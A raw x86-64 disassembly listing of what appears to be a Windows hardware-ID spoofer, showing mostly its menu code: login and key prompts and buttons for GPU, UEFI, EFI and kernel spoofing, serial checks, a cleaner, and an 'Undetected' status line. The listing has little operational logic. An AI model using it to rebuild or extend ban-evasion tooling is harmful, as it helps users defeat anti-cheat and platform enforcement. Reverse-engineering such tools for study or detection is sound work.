movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x330]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
movzx edx, byte [rbp + 0x128]
lea rcx, [rbp + 0x130]
call fcn.140219de0
nop
lea rdi, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
movss dword [rsp + 0x28], xmm12
movss xmm0, dword [0x14036eb00]
movss dword [rsp + 0x20], xmm0
movaps xmm3, xmm13
call fcn.140203be0
movss xmm0, dword [0x14036eabc]
movss dword [rsp + 0x30], xmm0
lea r14, [0x14045565f]
mov qword [rsp + 0x28], r14
movss dword [rsp + 0x20], xmm12
movaps xmm3, xmm14
lea r8, str.Save_Key
lea rdx, str.Save_Login
call fcn.1402031e0
movss dword [rsp + 0x30], xmm10
movss dword [rsp + 0x28], xmm12
movss xmm1, dword [0x14036eb20]
movss dword [rsp + 0x20], xmm1
movaps xmm3, xmm13
lea r8, str.Sign_in
lea rdx, str.Login
call fcn.1402020a0
test al, al
je 0x140211ac3
lea rdx, [0x1404574a0]
lea rcx, [rbp + 0x1a8]
call fcn.140201530
mov rdx, rax
lea rcx, [0x140455c70]
call fcn.1402a1970
movzx edx, byte [0x140455ea0]
movzx eax, dl
neg al
sbb ecx, ecx
add ecx, 3
mov dword [0x140455ff8], ecx
mov dword [0x140455fa8], 0
test dl, dl
je 0x140211ac3
cmp byte [0x14045565f], 0
je 0x140211aaf
lea rcx, [rbp + 0x1f0]
call fcn.140216440
lea rcx, [rbp + 0x1f0]
call fcn.140216450
nop
xor edx, edx
lea rcx, [rbp + 0x128]
call fcn.140218cb0
nop
lea rax, [rbp + 0x100]
mov qword [rbp + 0xf0], rax
lea rcx, [rbp + 0x100]
call fcn.14021c8a0
mov rbx, rax
lea rcx, [rbp + 0x128]
call fcn.14021c870
mov rcx, rax
mov rdx, rbx
call fcn.1402174e0
lea rdx, [rbp + 0x128]
lea rcx, [rbp + 0x1f0]
call fcn.1402171d0
nop
lea rcx, [rbp + 0x128]
call fcn.1402174c0
nop
lea rcx, [rbp + 0x1f0]
call fcn.1402163d0
mov dword [0x140455ff8], 2
mov dword [0x140455fa8], 0
mov rax, qword [rbp + 0x330]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x330], rdi
mov rax, qword [rbp + 0x330]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0x32c], edx
lea rcx, [rbp + 0x340]
call fcn.140217160
lea rcx, [rbp + 0x348]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x3e0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
movss xmm10, dword [0x14036eacc]
cmp dword [0x140455ff8], 2
jne 0x140215d97
mov rcx, qword [0x140455660]
mov rbx, qword [rcx + 0x3c38]
mov rax, qword [rcx + 0x3ef0]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ef0]
mov r8, qword [rax + 0x298]
mov dword [rbp + 0xf0], 0x3f800000
mov dword [rbp + 0xf4], 0x3f800000
mov dword [rbp + 0xf8], 0x3f800000
movss xmm0, dword [rcx + 0x37f0]
movss dword [rbp + 0xfc], xmm0
lea rcx, [rbp + 0xf0]
call fcn.1401cf8d0
mov dword [rbp + 0xf0], 0x41a80000
mov dword [rbp + 0xf4], 0x41b00000
mov rcx, qword [0x140456048]
test eax, 0xff000000
je 0x140211c12
test rcx, rcx
jne 0x140211bbd
mov rcx, qword [r8 + 0x38]
mov rcx, qword [rcx + 8]
movups xmm0, xmmword [r8 + 0x88]
movups xmmword [rbp + 0x100], xmm0
mov byte [rsp + 0x48], 0
movss dword [rsp + 0x40], xmm9
lea rdx, [0x14036d104]
mov qword [rsp + 0x38], rdx
lea rdx, str.HWID
mov qword [rsp + 0x30], rdx
lea rdx, [rbp + 0x100]
mov qword [rsp + 0x28], rdx
mov dword [rsp + 0x20], eax
lea r9, [rbp + 0xf0]
movaps xmm2, xmm6
mov rdx, r8
call fcn.1401efea0
mov rcx, rbx
call fcn.1401db9e0
mov rcx, qword [0x140455660]
mov rbx, qword [rcx + 0x3c38]
mov rax, qword [rcx + 0x3ef0]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ef0]
mov r8, qword [rax + 0x298]
mov dword [rbp + 0xf0], 0x3f800000
mov dword [rbp + 0xf4], 0x3f800000
mov dword [rbp + 0xf8], 0x3f800000
movss xmm0, dword [rcx + 0x37f0]
movss dword [rbp + 0xfc], xmm0
lea rcx, [rbp + 0xf0]
call fcn.1401cf8d0
mov dword [rbp + 0xf0], 0x41600000
mov dword [rbp + 0xf4], 0x42200000
mov rcx, qword [0x140456048]
test eax, 0xff000000
je 0x140211d02
test rcx, rcx
jne 0x140211cad
mov rcx, qword [r8 + 0x38]
mov rcx, qword [rcx + 8]
movups xmm0, xmmword [r8 + 0x88]
movups xmmword [rbp + 0x100], xmm0
mov byte [rsp + 0x48], 0
movss dword [rsp + 0x40], xmm9
lea rdx, [0x14036d10f]
mov qword [rsp + 0x38], rdx
lea rdx, str.Spoofer
mov qword [rsp + 0x30], rdx
lea rdx, [rbp + 0x100]
mov qword [rsp + 0x28], rdx
mov dword [rsp + 0x20], eax
lea r9, [rbp + 0xf0]
movaps xmm2, xmm6
mov rdx, r8
call fcn.1401efea0
mov rcx, rbx
call fcn.1401db9e0
movss xmm0, dword [0x140457498]
comiss xmm7, xmm0
jb 0x140211d33
cvtps2pd xmm0, xmm0
addsd xmm0, qword [0x14036ea48]
cvtpd2ps xmm0, xmm0
movss dword [0x140457498], xmm0
jmp 0x14021628f
mov dword [rbp - 0x38], 0x3f800000
mov dword [rbp - 0x40], 0
movss xmm0, dword [0x140455fa8]
mov rdx, qword [0x140455660]
addss xmm0, dword [rdx + 0x18]
movss dword [rbp - 0x3c], xmm0
lea rcx, [rbp - 0x40]
lea rax, [rbp - 0x3c]
comiss xmm9, xmm0
cmovbe rcx, rax
lea rax, [rbp - 0x38]
comiss xmm0, xmm11
cmovbe rax, rcx
movss xmm0, dword [rax]
movss dword [0x140455fa8], xmm0
mov dword [rbp + 0xf0], 0x3f800000
mov dword [rbp + 0xf4], 0x3f800000
mov dword [rbp + 0xf8], 0x3f800000
movss xmm0, dword [rdx + 0x37f0]
movss dword [rbp + 0xfc], xmm0
lea rcx, [rbp + 0xf0]
call fcn.1401cf8d0
mov dword [rbp + 0xf0], 0x43250000
mov dword [rbp + 0xf4], 0x42280000
mov dword [rbp + 0x128], 0x43250000
movss xmm6, dword [0x14036eaa8]
mov dword [rbp + 0x12c], 0x41e00000
movss dword [rsp + 0x20], xmm11
mov r9d, eax
lea r8, [rbp + 0xf0]
lea rdx, [rbp + 0x128]
mov rcx, qword [r13 + 0x298]
call fcn.1401ea4b0
cmp dword [0x140456050], 0
sete dil
mov rbx, qword [0x140455660]
mov qword [rsp + 0x30], rsi
lea r14, str.NATURAL
mov qword [rsp + 0x28], r14
movss xmm7, dword [0x14036eb80]
movss dword [rsp + 0x20], xmm7
movss xmm9, dword [0x14036eb74]
movaps xmm3, xmm9
movss xmm2, dword [rbx + 0x3c40]
lea rdx, [rbp + 0x128]
mov rcx, qword [rbx + 0x3c38]
call fcn.1401efc80
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], r14
movss dword [rsp + 0x20], xmm7
movaps xmm3, xmm9
movss xmm2, dword [rbx + 0x3c40]
lea rdx, [rbp + 0xf0]
mov rcx, qword [rbx + 0x3c38]
call fcn.1401efc80
movss xmm0, dword [rbp + 0xf0]
movss xmm10, dword [0x14036ea1c]
addss xmm0, xmm10
cvttss2si eax, xmm0
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mov byte [rsp + 0x40], dil
movss xmm0, dword [rbp + 0x12c]
movss dword [rsp + 0x38], xmm0
movss dword [rsp + 0x30], xmm1
movss dword [rsp + 0x28], xmm6
movss dword [rsp + 0x20], xmm8
mov r8, r14
lea rdx, str.HOME
call fcn.140202ba0
test al, al
je 0x140211efc
mov eax, esi
mov dword [0x140456050], eax
jmp 0x140211f02
mov eax, dword [0x140456050]
cmp eax, 2
sete dil
mov rbx, qword [0x140455660]
mov qword [rsp + 0x30], rsi
lea r14, str.KERNEL
mov qword [rsp + 0x28], r14
movss dword [rsp + 0x20], xmm7
movaps xmm3, xmm9
movss xmm2, dword [rbx + 0x3c40]
lea rdx, [rbp + 0x128]
mov rcx, qword [rbx + 0x3c38]
call fcn.1401efc80
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], r14
movss dword [rsp + 0x20], xmm7
movaps xmm3, xmm9
movss xmm2, dword [rbx + 0x3c40]
lea rdx, [rbp + 0xf0]
mov rcx, qword [rbx + 0x3c38]
call fcn.1401efc80
movss xmm0, dword [rbp + 0xf0]
addss xmm0, xmm10
cvttss2si eax, xmm0
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mov byte [rsp + 0x40], dil
movss xmm0, dword [rbp + 0x12c]
movss dword [rsp + 0x38], xmm0
movss dword [rsp + 0x30], xmm1
movss dword [rsp + 0x28], xmm6
movss dword [rsp + 0x20], xmm12
lea r8, str.KERNEL__Coming_Soon_
lea rdx, [0x14036d140]
call fcn.140202ba0
mov r12d, dword [reloc.WS2_32.dll_accept]
movdqa xmm9, xmmword [0x14036ee70]
movdqa xmm10, xmmword [str.55558888]
movdqa xmm8, xmmword [0x14036f160]
movdqa xmm11, xmmword [0x14036ed90]
lea r14, [0x14036d14f]
lea rdi, str.Options
lea r15, [0x14036d15b]
lea r13, str.Information
movss xmm7, dword [0x14036eb14]
movss xmm13, dword [0x14036eb54]
movss xmm14, dword [0x14036ea94]
movss xmm12, dword [0x14036eb24]
movss xmm15, dword [0x14036eb3c]
test al, al
je 0x14021204c
mov dword [0x140456050], 2
jmp 0x1402128c7
mov eax, dword [0x140456050]
test eax, eax
jne 0x1402128be
movss xmm6, dword [0x14036ea90]
subss xmm6, dword [0x1404542d4]
movss xmm3, dword [rbp + 0x168]
mulss xmm6, xmm3
addss xmm6, dword [0x1404542d4]
movss dword [0x1404542d4], xmm6
movaps xmm1, xmm7
subss xmm1, dword [0x1404542e8]
mulss xmm1, xmm3
addss xmm1, dword [0x1404542e8]
movss dword [0x1404542e8], xmm1
movaps xmm2, xmm13
subss xmm2, dword [0x1404542ec]
mulss xmm2, xmm3
addss xmm2, dword [0x1404542ec]
movss dword [0x1404542ec], xmm2
mov rcx, qword [0x140455660]
mov rbx, qword [rcx + 0x3c38]
mov rax, qword [rcx + 0x3ef0]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ef0]
mov r8, qword [rax + 0x298]
mov dword [rbp + 0xf0], 0x3f800000
mov dword [rbp + 0xf4], 0x3f800000
mov dword [rbp + 0xf8], 0x3f800000
movss xmm0, dword [rcx + 0x37f0]
movss dword [rbp + 0xfc], xmm0
lea rcx, [rbp + 0xf0]
call fcn.1401cf8d0
movss dword [rbp + 0xf0], xmm6
mov dword [rbp + 0xf4], 0x42ae0000
mov rcx, qword [0x140455fc8]
test eax, 0xff000000
je 0x1402121a0
test rcx, rcx
jne 0x140212156
mov rcx, qword [r8 + 0x38]
mov rcx, qword [rcx + 8]
movups xmm0, xmmword [r8 + 0x88]
movups xmmword [rbp + 0x100], xmm0
mov byte [rsp + 0x48], 0
xorps xmm0, xmm0
movss dword [rsp + 0x40], xmm0
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], rdi
lea rdx, [rbp + 0x100]
mov qword [rsp + 0x28], rdx
mov dword [rsp + 0x20], eax
lea r9, [rbp + 0xf0]
movaps xmm2, xmm14
mov rdx, r8
call fcn.1401efea0
mov rcx, rbx
call fcn.1401db9e0
movss xmm6, dword [0x1404542ec]
subss xmm6, xmm12
mov rcx, qword [0x140455660]
mov rbx, qword [rcx + 0x3c38]
mov rax, qword [rcx + 0x3ef0]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ef0]
mov r8, qword [rax + 0x298]
mov dword [rbp + 0xf0], 0x3f800000
mov dword [rbp + 0xf4], 0x3f800000
mov dword [rbp + 0xf8], 0x3f800000
movss xmm0, dword [rcx + 0x37f0]
movss dword [rbp + 0xfc], xmm0
lea rcx, [rbp + 0xf0]
call fcn.1401cf8d0
movss dword [rbp + 0xf0], xmm6
mov dword [rbp + 0xf4], 0x42ae0000
mov rcx, qword [0x140455fc8]
test eax, 0xff000000
je 0x140212290
test rcx, rcx
jne 0x140212246
mov rcx, qword [r8 + 0x38]
mov rcx, qword [rcx + 8]
movups xmm0, xmmword [r8 + 0x88]
movups xmmword [rbp + 0x100], xmm0
mov byte [rsp + 0x48], 0
xorps xmm0, xmm0
movss dword [rsp + 0x40], xmm0
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r13
lea rdx, [rbp + 0x100]
mov qword [rsp + 0x28], rdx
mov dword [rsp + 0x20], eax
lea r9, [rbp + 0xf0]
movaps xmm2, xmm14
mov rdx, r8
call fcn.1401efea0
mov rcx, rbx
call fcn.1401db9e0
movss xmm6, dword [0x1404542ec]
subss xmm6, dword [0x14036eb48]
mov rcx, qword [0x140455660]
mov rbx, qword [rcx + 0x3c38]
mov rax, qword [rcx + 0x3ef0]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ef0]
mov r8, qword [rax + 0x298]
mov dword [rbp + 0xf0], 0x3f800000
mov dword [rbp + 0xf4], 0x3f800000
mov dword [rbp + 0xf8], 0x3f800000
movss xmm0, dword [rcx + 0x37f0]
movss dword [rbp + 0xfc], xmm0
lea rcx, [rbp + 0xf0]
call fcn.1401cf8d0
movss dword [rbp + 0xf0], xmm6
mov dword [rbp + 0xf4], 0x435a0000
mov rcx, qword [0x140455fc8]
test eax, 0xff000000
je 0x140212391
test rcx, rcx
jne 0x140212339
mov rcx, qword [r8 + 0x38]
mov rcx, qword [rcx + 8]
movups xmm0, xmmword [r8 + 0x88]
movups xmmword [rbp + 0x100], xmm0
mov byte [rsp + 0x48], 0
xorps xmm0, xmm0
movss dword [rsp + 0x40], xmm0
lea rdx, [0x14036d162]
mov qword [rsp + 0x38], rdx
lea rdx, str._SOON_
mov qword [rsp + 0x30], rdx
lea rdx, [rbp + 0x100]
mov qword [rsp + 0x28], rdx
mov dword [rsp + 0x20], eax
lea r9, [rbp + 0xf0]
movaps xmm2, xmm14
mov rdx, r8
call fcn.1401efea0
mov rcx, rbx
call fcn.1401db9e0
movss xmm0, dword [0x14036eac8]
movss dword [rsp + 0x28], xmm0
movss xmm1, dword [0x14036eb38]
movss dword [rsp + 0x20], xmm1
movss xmm3, dword [0x14036ead4]
movss xmm2, dword [0x1404542d4]
mov rdx, rdi
call fcn.140201fc0
movss xmm0, dword [0x14036eafc]
movss dword [rsp + 0x30], xmm0
lea rax, [0x140456101]
mov qword [rsp + 0x28], rax
movss xmm0, dword [0x14036ea9c]
movss dword [rsp + 0x20], xmm0
movaps xmm3, xmm7
lea r8, str.GPU_Spoof
lea rdx, [0x14036d174]
call fcn.1402031e0
call fcn.1401d6370
movss xmm2, dword [0x1404542ec]
subss xmm2, xmm12
movss xmm0, dword [0x14036ead8]
movss dword [rsp + 0x28], xmm0
movss xmm1, dword [0x14036eb28]
movss dword [rsp + 0x20], xmm1
movss xmm3, dword [0x14036ead0]
lea rdx, str.Parameters
call fcn.140201fc0
movss xmm6, dword [0x1404542ec]
subss xmm6, xmm12
mov rcx, qword [0x140455660]
mov rbx, qword [rcx + 0x3c38]
mov rax, qword [rcx + 0x3ef0]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ef0]
mov r8, qword [rax + 0x298]
mov dword [rbp + 0xf0], 0x3f800000
mov dword [rbp + 0xf4], 0x3f800000
mov dword [rbp + 0xf8], 0x3f800000
movss xmm0, dword [rcx + 0x37f0]
movss dword [rbp + 0xfc], xmm0
lea rcx, [rbp + 0xf0]
call fcn.1401cf8d0
movss dword [rbp + 0xf0], xmm6
mov dword [rbp + 0xf4], 0x42dc0000
mov rcx, qword [0x140455fc8]
test eax, 0xff000000
je 0x140212547
test rcx, rcx
jne 0x1402124eb
mov rcx, qword [r8 + 0x38]
mov rcx, qword [rcx + 8]
movups xmm0, xmmword [r8 + 0x88]
movups xmmword [rbp + 0x100], xmm0
mov byte [rsp + 0x48], 0
xorps xmm0, xmm0
movss dword [rsp + 0x40], xmm0
lea rdx, [0x14036d19f]
mov qword [rsp + 0x38], rdx
lea rdx, str._Last_Update:_9_10_2024
mov qword [rsp + 0x30], rdx
lea rdx, [rbp + 0x100]
mov qword [rsp + 0x28], rdx
mov dword [rsp + 0x20], eax
lea r9, [rbp + 0xf0]
movss xmm2, dword [0x14036ea8c]
mov rdx, r8
call fcn.1401efea0
mov rcx, rbx
call fcn.1401db9e0
movss xmm6, dword [0x1404542ec]
subss xmm6, xmm12
mov rcx, qword [0x140455660]
mov rbx, qword [rcx + 0x3c38]
mov rax, qword [rcx + 0x3ef0]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ef0]
mov r8, qword [rax + 0x298]
mov dword [rbp + 0xf0], 0x3f800000
mov dword [rbp + 0xf4], 0x3f800000
mov dword [rbp + 0xf8], 0x3f800000
movss xmm0, dword [rcx + 0x37f0]
movss dword [rbp + 0xfc], xmm0
lea rcx, [rbp + 0xf0]
call fcn.1401cf8d0
movss dword [rbp + 0xf0], xmm6
mov dword [rbp + 0xf4], 0x43020000
mov rcx, qword [0x140455fc8]
test eax, 0xff000000
je 0x140212649
test rcx, rcx
jne 0x1402125ed
mov rcx, qword [r8 + 0x38]
mov rcx, qword [rcx + 8]
movups xmm0, xmmword [r8 + 0x88]
movups xmmword [rbp + 0x100], xmm0
mov byte [rsp + 0x48], 0
xorps xmm0, xmm0
movss dword [rsp + 0x40], xmm0
lea rdx, [0x14036d1b3]
mov qword [rsp + 0x38], rdx
lea rdx, str._Status:_Undetected
mov qword [rsp + 0x30], rdx
lea rdx, [rbp + 0x100]
mov qword [rsp + 0x28], rdx
mov dword [rsp + 0x20], eax
lea r9, [rbp + 0xf0]
movss xmm2, dword [0x14036ea8c]
mov rdx, r8
call fcn.1401efea0
mov rcx, rbx
call fcn.1401db9e0
movss xmm6, dword [0x1404542ec]
subss xmm6, xmm12
mov rcx, qword [0x140455660]
mov rbx, qword [rcx + 0x3c38]
mov rax, qword [rcx + 0x3ef0]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ef0]
mov r8, qword [rax + 0x298]
mov dword [rbp + 0xf0], 0x3f800000
mov dword [rbp + 0xf4], 0x3f800000
mov dword [rbp + 0xf8], 0x3f800000
movss xmm0, dword [rcx + 0x37f0]
movss dword [rbp + 0xfc], xmm0
lea rcx, [rbp + 0xf0]
call fcn.1401cf8d0
movss dword [rbp + 0xf0], xmm6
mov dword [rbp + 0xf4], 0x43160000
mov rcx, qword [0x140455fc8]
test eax, 0xff000000
je 0x14021274b
test rcx, rcx
jne 0x1402126ef
mov rcx, qword [r8 + 0x38]
mov rcx, qword [rcx + 8]
movups xmm0, xmmword [r8 + 0x88]
movups xmmword [rbp + 0x100], xmm0
mov byte [rsp + 0x48], 0
xorps xmm0, xmm0
movss dword [rsp + 0x40], xmm0
lea rdx, [0x14036d1d3]
mov qword [rsp + 0x38], rdx
lea rdx, str._Follow_the_provided_guide_
mov qword [rsp + 0x30], rdx
lea rdx, [rbp + 0x100]
mov qword [rsp + 0x28], rdx
mov dword [rsp + 0x20], eax
lea r9, [rbp + 0xf0]
movss xmm2, dword [0x14036ea8c]
mov rdx, r8
call fcn.1401efea0
mov rcx, rbx
call fcn.1401db9e0
call fcn.1401d6370
movss xmm6, dword [0x14036eaac]
movss dword [rsp + 0x30], xmm6
movss xmm0, dword [0x14036eb20]
movss dword [rsp + 0x28], xmm0
movss xmm0, dword [0x1404542e8]
movss dword [rsp + 0x20], xmm0
movaps xmm3, xmm15
lea r8, str.Natural_Spoof
lea rdx, str.Spoof
call fcn.1402020a0
test al, al
je 0x1402127b1
mov dword [0x140456050], 5
mov dword [0x140455fa8], 0
movss xmm0, dword [0x1404542e8]
addss xmm0, dword [0x14036eab0]
movss dword [rsp + 0x30], xmm6
movss xmm6, dword [0x14036eae4]
movss dword [rsp + 0x28], xmm6
movss dword [rsp + 0x20], xmm0
movaps xmm3, xmm15
lea r8, str.UEFI_Spoof
lea rdx, str.UEFI
call fcn.1402020a0
test al, al
je 0x14021280a
mov dword [0x140456050], 9
mov dword [0x140455fa8], 0
movss xmm0, dword [0x1404542e8]
addss xmm0, dword [0x14036eab0]
movss xmm1, dword [0x14036eaac]
movss dword [rsp + 0x30], xmm1
movss dword [rsp + 0x28], xmm6
movss dword [rsp + 0x20], xmm0
movss xmm3, dword [0x14036eb44]
lea r8, str.EFI_Spoof
lea rdx, [0x14036d140]
call fcn.1402020a0
test al, al
je 0x140212867
mov dword [0x140456050], 8
mov dword [0x140455fa8], 0
movss xmm0, dword [0x1404542e8]
addss xmm0, dword [0x14036eac4]
movss xmm6, dword [0x14036eaac]
movss dword [rsp + 0x30], xmm6
movss xmm1, dword [0x14036eb20]
movss dword [rsp + 0x28], xmm1
movss dword [rsp + 0x20], xmm0
movaps xmm3, xmm15
lea r8, str.Check_Serials
lea rdx, str.CheckSerials
call fcn.1402020a0
test al, al
jne 0x140212ea5
mov eax, dword [0x140456050]
cmp eax, 2
jne 0x140212edb
movss xmm6, dword [0x14036ea90]
subss xmm6, dword [0x1404542d4]
movss xmm1, dword [rbp + 0x168]
mulss xmm6, xmm1
addss xmm6, dword [0x1404542d4]
movss dword [0x1404542d4], xmm6
subss xmm7, dword [0x1404542e8]
mulss xmm7, xmm1
addss xmm7, dword [0x1404542e8]
movss dword [0x1404542e8], xmm7
subss xmm13, dword [0x1404542ec]
mulss xmm13, xmm1
addss xmm13, dword [0x1404542ec]
movss dword [0x1404542ec], xmm13
mov rcx, qword [0x140455660]
mov rbx, qword [rcx + 0x3c38]
mov rax, qword [rcx + 0x3ef0]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ef0]
mov r8, qword [rax + 0x298]
mov dword [rbp + 0xf0], 0x3f800000
mov dword [rbp + 0xf4], 0x3f800000
mov dword [rbp + 0xf8], 0x3f800000
movss xmm0, dword [rcx + 0x37f0]
movss dword [rbp + 0xfc], xmm0
lea rcx, [rbp + 0xf0]
call fcn.1401cf8d0
movss dword [rbp + 0xf0], xmm6
mov dword [rbp + 0xf4], 0x42ae0000
mov rcx, qword [0x140455fc8]
test eax, 0xff000000
je 0x140212a0e
test rcx, rcx
jne 0x1402129c0
mov rcx, qword [r8 + 0x38]
mov rcx, qword [rcx + 8]
movups xmm0, xmmword [r8 + 0x88]
movups xmmword [rbp + 0x100], xmm0
mov byte [rsp + 0x48], 0
xorps xmm13, xmm13
movss dword [rsp + 0x40], xmm13
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], rdi
lea rdx, [rbp + 0x100]
mov qword [rsp + 0x28], rdx
mov dword [rsp + 0x20], eax
lea r9, [rbp + 0xf0]
movaps xmm2, xmm14
mov rdx, r8
call fcn.1401efea0
jmp 0x140212a12
xorps xmm13, xmm13
mov rcx, rbx
call fcn.1401db9e0
movss xmm6, dword [0x1404542ec]
subss xmm6, xmm12
mov rcx, qword [0x140455660]
mov rbx, qword [rcx + 0x3c38]
mov rax, qword [rcx + 0x3ef0]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ef0]
mov r8, qword [rax + 0x298]
mov dword [rbp + 0xf0], 0x3f800000
mov dword [rbp + 0xf4], 0x3f800000
mov dword [rbp + 0xf8], 0x3f800000
movss xmm0, dword [rcx + 0x37f0]
movss dword [rbp + 0xfc], xmm0
lea rcx, [rbp + 0xf0]
call fcn.1401cf8d0
movss dword [rbp + 0xf0], xmm6
mov dword [rbp + 0xf4], 0x42ae0000
mov rcx, qword [0x140455fc8]
test eax, 0xff000000
je 0x140212b00
test rcx, rcx
jne 0x140212ab8
mov rcx, qword [r8 + 0x38]
mov rcx, qword [rcx + 8]
movups xmm0, xmmword [r8 + 0x88]
movups xmmword [rbp + 0x100], xmm0
mov byte [rsp + 0x48], 0
movss dword [rsp + 0x40], xmm13
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r13
lea rdx, [rbp + 0x100]
mov qword [rsp + 0x28], rdx
mov dword [rsp + 0x20], eax
lea r9, [rbp + 0xf0]
movaps xmm2, xmm14
mov rdx, r8
call fcn.1401efea0
mov rcx, rbx
call fcn.1401db9e0
movss xmm0, dword [0x14036eb2c]
movss dword [rsp + 0x28], xmm0
movss xmm0, dword [0x14036eb38]
movss dword [rsp + 0x20], xmm0
movss xmm3, dword [0x14036ead4]
movss xmm2, dword [0x1404542d4]
mov rdx, rdi
call fcn.140201fc0
movss xmm0, dword [0x14036eaf8]
movss dword [rsp + 0x30], xmm0
lea rax, [0x1404574d2]
mov qword [rsp + 0x28], rax
movss xmm0, dword [0x14036ea90]
movss dword [rsp + 0x20], xmm0
movss xmm6, dword [0x14036eb10]
movaps xmm3, xmm6
lea r8, str.Deep_Cleaner
lea rdx, str.Cleaner
call fcn.1402031e0
movss xmm0, dword [0x14036eaf4]
movss dword [rsp + 0x30], xmm0
lea rax, [0x1404560f4]
mov qword [rsp + 0x28], rax
movss xmm0, dword [0x14036eab4]
movss dword [rsp + 0x20], xmm0
movaps xmm3, xmm6
lea r8, str.Tournament_Fix
lea rdx, str.Tourney
call fcn.1402031e0
call fcn.1401d6370
movss xmm2, dword [0x1404542ec]
subss xmm2, xmm12
movss xmm0, dword [0x14036ead8]
movss dword [rsp + 0x28], xmm0
movss xmm0, dword [0x14036eb28]
movss dword [rsp + 0x20], xmm0
movss xmm3, dword [0x14036ead0]
lea rdx, str.Parameters
call fcn.140201fc0
movss xmm6, dword [0x1404542ec]
subss xmm6, xmm12
mov rcx, qword [0x140455660]
mov rbx, qword [rcx + 0x3c38]
mov rax, qword [rcx + 0x3ef0]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ef0]
mov r8, qword [rax + 0x298]
mov dword [rbp + 0xf0], 0x3f800000
mov dword [rbp + 0xf4], 0x3f800000
mov dword [rbp + 0xf8], 0x3f800000
movss xmm0, dword [rcx + 0x37f0]
movss dword [rbp + 0xfc], xmm0
lea rcx, [rbp + 0xf0]
call fcn.1401cf8d0
movss dword [rbp + 0xf0], xmm6
mov dword [rbp + 0xf4], 0x42dc0000
mov rcx, qword [0x140455fc8]
test eax, 0xff000000
je 0x140212cff
test rcx, rcx
jne 0x140212ca0
mov rcx, qword [r8 + 0x38]
mov rcx, qword [rcx + 8]
movups xmm0, xmmword [r8 + 0x88]
movups xmmword [rbp + 0x100], xmm0
mov byte [rsp + 0x48], 0
movss dword [rsp + 0x40], xmm13
lea rdx, [0x14036d277]
mov qword [rsp + 0x38], rdx
lea rdx, str._Last_Update:_8_22_2024
mov qword [rsp + 0x30], rdx
lea rdx, [rbp + 0x100]
mov qword [rsp + 0x28], rdx
mov dword [rsp + 0x20], eax
lea r9, [rbp + 0xf0]
movss xmm7, dword [0x14036ea8c]
movaps xmm2, xmm7
mov rdx, r8
call fcn.1401efea0
jmp 0x140212d07
movss xmm7, dword [0x14036ea8c]
mov rcx, rbx
call fcn.1401db9e0
movss xmm6, dword [0x1404542ec]
subss xmm6, xmm12
mov rcx, qword [0x140455660]
mov rbx, qword [rcx + 0x3c38]
mov rax, qword [rcx + 0x3ef0]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ef0]
mov r8, qword [rax + 0x298]
mov dword [rbp + 0xf0], 0x3f800000
mov dword [rbp + 0xf4], 0x3f800000
mov dword [rbp + 0xf8], 0x3f800000
movss xmm0, dword [rcx + 0x37f0]
movss dword [rbp + 0xfc], xmm0
lea rcx, [rbp + 0xf0]
call fcn.1401cf8d0
movss dword [rbp + 0xf0], xmm6
mov dword [rbp + 0xf4], 0x43020000
mov rcx, qword [0x140455fc8]
test eax, 0xff000000
je 0x140212e02
test rcx, rcx
jne 0x140212dad
mov rcx, qword [r8 + 0x38]
mov rcx, qword [rcx + 8]
movups xmm0, xmmword [r8 + 0x88]
movups xmmword [rbp + 0x100], xmm0
mov byte [rsp + 0x48], 0
movss dword [rsp + 0x40], xmm13
lea rdx, [0x14036d1b3]
mov qword [rsp + 0x38], rdx
lea rdx, str._Status:_Undetected
mov qword [rsp + 0x30], rdx
lea rdx, [rbp + 0x100]
mov qword [rsp + 0x28], rdx
mov dword [rsp + 0x20], eax
lea r9, [rbp + 0xf0]
movaps xmm2, xmm7
mov rdx, r8
call fcn.1401efea0
mov rcx, rbx
call fcn.1401db9e0
call fcn.1401d6370
movss xmm6, dword [0x14036eaac]
movss dword [rsp + 0x30], xmm6
movss xmm7, dword [0x14036eb20]
movss dword [rsp + 0x28], xmm7
movss xmm0, dword [0x1404542e8]
movss dword [rsp + 0x20], xmm0
movaps xmm3, xmm15
lea r8, str.Kernel_Spoof
lea rdx, str.KERNEL
call fcn.1402020a0
test al, al
je 0x140212e68
mov dword [0x140456050], 0xa
mov dword [0x140455fa8], 0
movss xmm0, dword [0x1404542e8]
addss xmm0, dword [0x14036eab0]
movss dword [rsp + 0x30], xmm6
movss dword [rsp + 0x28], xmm7
movss dword [rsp + 0x20], xmm0
movaps xmm3, xmm15
lea r8, str.Check_Serials
lea rdx, str.Check_Serials
call fcn.1402020a0
test al, al
je 0x140212ed5
mov dword [0x140456050], 7
mov dword [0x140455fa8], 0
